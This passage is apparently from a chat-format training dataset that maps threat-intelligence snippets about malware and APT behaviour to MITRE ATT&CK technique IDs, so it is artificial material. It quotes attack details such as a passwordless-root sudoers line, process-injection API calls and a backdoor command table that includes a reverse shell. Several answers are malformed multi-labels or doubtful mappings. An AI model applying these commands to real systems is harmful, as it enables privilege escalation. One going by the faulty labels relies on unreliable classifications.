                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk does not encrypt files from within its own process memory space, but injects into a remote process. Before injecting into a remote process, Ryuk attempts to adjust its token privileges to have the SeDebugPrivilege. Before injecting into a remote process, Ryuk also calls CreateToolhelp32Snapshot to enumerate all running processes. If a process is found that is not named csrss.exe, explorer.exe, lsaas.exe, or is running under NT AUTHORITY system account, Ryuk will inject itself into this single process. By ensuring that the process is not running under NT AUTHORITY, the developers are assuming the process is not running under another account and therefore can be written to. Ryuk uses a combination of VirtualAlloc, WriteProcessMemory and CreateRemoteThread to inject itself into the remote process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain information about the victim's IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leverages cmd.exe to perform discovery techniques."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 server address is not embedded directly inside Tomiris: instead, it connects to a signalization server that provides the URL and port to which the backdoor should connect. Then Tomiris sends GET requests to that URL until the C2 server responds with a JSON object of the following structure"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GRIFFON has used a persistence module that stores the implant inside the Registry, which executes at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Part of 's operation involved using  modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has attempted and failed to run Bash commands on a Windows host by passing them to \"cmd /C\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several  malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another  malware sample XORs C2 traffic.  malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, evading SSL man-in-the-middle decryption attacks."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot can delete its configuration file after installation."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PipeMon installer has modified the Registry key \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors\" to install PipeMon as a Print Processor."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This second request (Encoded Get System Information Request) is encoded using the same method as the custom TCP protocol used for communication with command-and-control servers, which uses a four-byte XOR encoding. Before acting on the request, Winnti will validate the third DWORD contains the magic value 0xABC18CBA before executing tasking"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography', 'T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete renamed payloads to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python executables."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves can obtain information about network parameters."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can steal access tokens from exiting processes."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3 Targeted lure content In one of the documents, the victim is presented with what appears to be an obfuscated document with the NATO EOD seal and text alluding to the targeted nation state"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used malicious links to direct users to web pages designed to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist can collect the computer name of a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has collected the victim host information after infection."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has collected credentials for the target organization from previous breaches for use in brute force attacks."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IronNetInjector has the ability to decrypt embedded .NET and PE payloads."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the API call ShellExecuteW for execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has base64-encoded its portable executable and hidden itself under a JPG header. Ramsay can also embed information within document footers."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has used `regsvr32` to execute scripts."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used dsquery and other Active Directory utilities to enumerate hosts; they have also used \"nltest.exe /dclist\" to retrieve a list of domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peppy can identify specific files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy uses PowerShell commands to download and execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one case, the attackers sent a malicious document which was nearly identical to a legitimate attachment which we observed later being sent to the same recipient"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete services from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Gorgon Group Crew Breakdown Finding accessible directories, in combination with their other operational security failures, made it easy to start connecting the dots on Gorgon Group members. 360 and Tuisec already identified some Gorgon Group members. In addition to Subaat, we counted an additional four actors performing attacks as part of Gorgon Group. While it’s not known if the attackers physically reside in Pakistan, all members of Gorgon Group purport to be in Pakistan based on their online personas. fudpages One member of Gorgon Group- we're calling ‘fudpages’, was found during this campaign activity based on their utilization of shared infrastructure. One specific Microsoft document drew our attention. 446e1c80102c8b9662d66d44525cb9f519369061b02446e0d4cd30cd26d79a25) This Microsoft Word document was sent via email to several industries across the US and Switzerland. We noticed that this document pulls down additional malware from a C2 also being used in attacks by other Gorgon Group members. Additionally, this document communicates to a relatively new piece of C2 infrastructure- umarguzardijye[.]com, which is hosted on 91[.]234[.]99[.]206"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "No exploits were used, so the victim would have to manually execute the malware dropper, which pretends to be an Adobe Flash installer. However, our analysis confirmed that Bad Rabbit uses the EternalRomance exploit as an infection vector to spread within corporate networks"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore can persist via a LaunchDaemon."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly has obtained and used tools such as Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "13 14 ams_api64.dll ams_api32.dll Handy wrapper around API of exXX.dll, pdXX.dll, sgXX.dll"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Host enumeration and lateral movement After gaining an initial foothold in a compromised environment, the threat actors quickly identify and explore accessible systems"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "shareDll, mshareDll, tshareDll Modules used to propagate Trickbot loader to connected network shares of the victimized machine. Modules used to propagate Trickbot loader to connected network shares of the victimized machine. wormwinDll, wormDll, mwormDll, nwormDll Modules used for spreading inside a local network of compromised machines via SMB. Modules used for spreading inside a local network of compromised machines via SMB. tabDll Module used to spread into the network using the EternalRomance exploit. Module used to spread into the network using the EternalRomance exploit"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bonadan can create bind and reverse shells on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok adds \"admin  ALL=(ALL) NOPASSWD: ALL\" to the \"/etc/sudoers\" file."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download):  upload.bat, a batch script that the compromised machine will execute upload.rar, a RAR archive that contains at least two files: a batch script to execute, and often an executable (sometimes named rar.exe)  which the batch script will run and almost always uploads the results of download.rar to the cloud storage account silent.txt and period.txt,  small files sizes of 0-4 bytes that dictate the frequency to check in with the CnC  The threat actor will then download the results and then delete the files from the cloud storage account"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can execute tasks via OLE."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy creates an entry in a Registry Run key for the malware to execute on startup."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Forensic examination of a computer infected with a banking trojan Oleg Skulkin Senior Digital Forensics Analyst at Group-IB Where did it all start. Since then, phishing emails distributing the trojan have been sent to potential victims with admirable persistence. In this article, I am going to show how to perform forensic analysis of an image of a computer infected with the RTM banking trojan. Let's try to find registry files, such as SOFTWARE, for example. Let's recall Jesse Kornblum's paradox: \"Malware can hide, but it must run\". A good start will be to look for potential persistence mechanisms that can be used by the malware to restart after reboot. Let's start with simple things: we will take the NTUSER.DAT registry file with the latest modification date from the user directory (C:\\Users\\%username%\\), and extract data from it using RegRipper. Let's start with low-hanging fruits, the so-called run keys: The partition was last modified on November 7th, and we see that when a user logs in, the apg.exe file is executed from a very suspicious location. Let's see what else we can find in the b7mg81 directory: TeamViewer. Let's take a closer look at apg.exe and use PPEE: This looks like TeamViewer and is signed as TeamViewer, so does this mean it indeed is TeamViewer. Another interesting file is TeamViewer.ini: Here is anti-forensics: according to the configuration file, our \"TeamViewer\" did not keep any logs, and was apparently used as a RAT (Remote Access Trojan). Well, not bad"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth collects the external IP address from the system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a function for decrypting data containing C2 configuration information."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\\\railways.ir\\sysvol\\railways.ir\\scripts\\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Unleash the main payload: The msrun.bat script is responsible for unleashing the Wiper. It moves wiper-related files to “C:\\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE concatenates then decompresses multiple resources to load an embedded .Net Framework assembly."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET performs AES-CBC encryption on files under \"~/Documents\", \"~/Downloads\", and\n\"~/Desktop\" with a fixed key and renames files to give them a \".enc\" extension. Only files with sizes \nless than 500MB are encrypted."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. One of the analyzed BOOSTWRITE variants contained two payloads: CARBANAK and RDFSNIFFER. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Users are advised to avoid opening attachments and click links on unsolicited emails"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has created accounts with \"net user\"."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Messages are encrypted using AES with a static key"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has modified file and directory timestamps."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "0x007CFABF  video  Desktop video recording    0x06E533C4  download  Downloads executable and injects into new process    0x00684509  ammyy  Ammyy Admin tool    0x07C6A8A5  update  Updates self    0x0B22A5A7     Add/Update klgconfig (analysis incomplete)    0x0B77F949  httpproxy  Starts HTTP proxy    0x07203363  killos  Renders computer unbootable by wiping the MBR    0x078B9664  reboot  Reboots the operating system    0x07BC54BC  tunnel  Creates a network tunnel    0x07B40571  adminka  Adds new C2 server or proxy address for pseudo-HTTP protocol    0x079C9CC2  server  Adds new C2 server for custom binary protocol    0x0007C9C2  user  Creates or deletes Windows user account    0x000078B0  rdp  Enables concurrent RDP (analysis incomplete)    0x079BAC85  secure  Adds Notification Package (analysis incomplete)    0x00006ABC  del  Deletes file or service    0x0A89AF94  startcmd  Adds command to the configuration file (see the Configuration section)    0x079C53BD  runmem  Downloads executable and injects directly into new process    0x0F4C3903  logonpasswords  Send Windows accounts details to the C2 server    0x0BC205E4  screenshot  Takes a screenshot of the desktop and sends it to the C2 server    0x007A2BC0  sleep  Backdoor sleeps until specified date    0x0006BC6C  dupl  Unknown    0x04ACAFC3     Upload files to the C2 server    0x00007D43  vnc  Runs VNC plugin    0x09C4D055  runfile  Runs specified executable file    0x02032914  killbot  Uninstalls backdoor    0x08069613  listprocess  Returns list of running processes to the C2 server    0x073BE023  plugins  Change C2 protocol used by plugins    0x0B0603B4     Download and execute shellcode from specified address    0x0B079F93  killprocess  Terminates the first process found specified by name    0x00006A34  cmd  Initiates a reverse shell to the C2 server    0x09C573C7  runplug  Plugin control    0x08CB69DE  autorun  Updates backdoor    Table 2: Supported Commands Configuration A configuration file resides in a file under the backdoor’s installation directory with the .bin extension"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel', 'T1105 - Ingress Tool Transfer', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be configured to use HTTP or DNS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script itself decodes and executes a large blob of base64-encoded text and converts it into a huge byte array"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An older version of  has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  malware sample adds persistence on the system by creating a shortcut in the user’s Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Winnti for Windows implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RGDoor uses cmd.exe to execute commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
